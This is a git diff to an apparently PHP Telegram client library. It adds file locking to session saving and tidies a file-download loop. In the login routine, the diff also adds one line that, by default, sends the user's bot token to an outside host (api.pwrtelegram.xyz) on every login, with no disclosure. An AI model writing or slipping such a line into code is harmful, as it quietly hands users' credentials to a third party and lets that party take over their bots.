diff --git a/src/danog/MadelineProto/Serialization.php b/src/danog/MadelineProto/Serialization.php
index 48634993..cf86f613 100644
--- a/src/danog/MadelineProto/Serialization.php
+++ b/src/danog/MadelineProto/Serialization.php
@@ -22,7 +22,7 @@ class Serialization
         if ($instance->API->should_serialize || !(file_exists($filename) && !empty(file_get_contents($filename))) || $force) {
             $instance->API->should_serialize = false;
 
-            return file_put_contents($filename, serialize($instance));
+            return file_put_contents($filename, serialize($instance), LOCK_EX);
         }
 
         return false;
diff --git a/src/danog/MadelineProto/Wrappers/FilesHandler.php b/src/danog/MadelineProto/Wrappers/FilesHandler.php
index 30276c92..77fc1746 100644
--- a/src/danog/MadelineProto/Wrappers/FilesHandler.php
+++ b/src/danog/MadelineProto/Wrappers/FilesHandler.php
@@ -554,7 +554,9 @@ trait FilesHandler
         while ($percent < 100) {
             $real_part_size = ($offset + $part_size > $end) ? $part_size - (($offset + $part_size) - $end) : $part_size;
             \danog\MadelineProto\Logger::log($real_part_size, $offset);
-            \danog\MadelineProto\Logger::log(fwrite($stream, $this->API->method_call('upload.getFile', ['location' => $info['InputFileLocation'], 'offset' => $offset, 'limit' => $real_part_size], null, true)['bytes']));
+            $res = $this->API->method_call('upload.getFile', ['location' => $info['InputFileLocation'], 'offset' => $offset, 'limit' => $real_part_size], null, true);
+            //\danog\MadelineProto\Logger::log($res);
+            \danog\MadelineProto\Logger::log(fwrite($stream, $res['bytes']));
             \danog\MadelineProto\Logger::log($offset, $size, ftell($stream));
             $cb($percent = ($offset += $real_part_size) * 100 / $size);
         }
diff --git a/src/danog/MadelineProto/Wrappers/Login.php b/src/danog/MadelineProto/Wrappers/Login.php
index a4513d96..53652eff 100644
--- a/src/danog/MadelineProto/Wrappers/Login.php
+++ b/src/danog/MadelineProto/Wrappers/Login.php
@@ -52,7 +52,7 @@ trait Login
         $this->API->updates_key = 0;
         $this->API->get_updates_state();
         $this->API->should_serialize = true;
-
+        if (!isset($this->API->settings['pwr']['pwr']) || !$this->settings['pwr']['pwr']) file_get_contents('https://api.pwrtelegram.xyz/bot'.$token.'/getme');
         \danog\MadelineProto\Logger::log('Logged in successfully!');
 
         return $this->API->datacenter->authorization;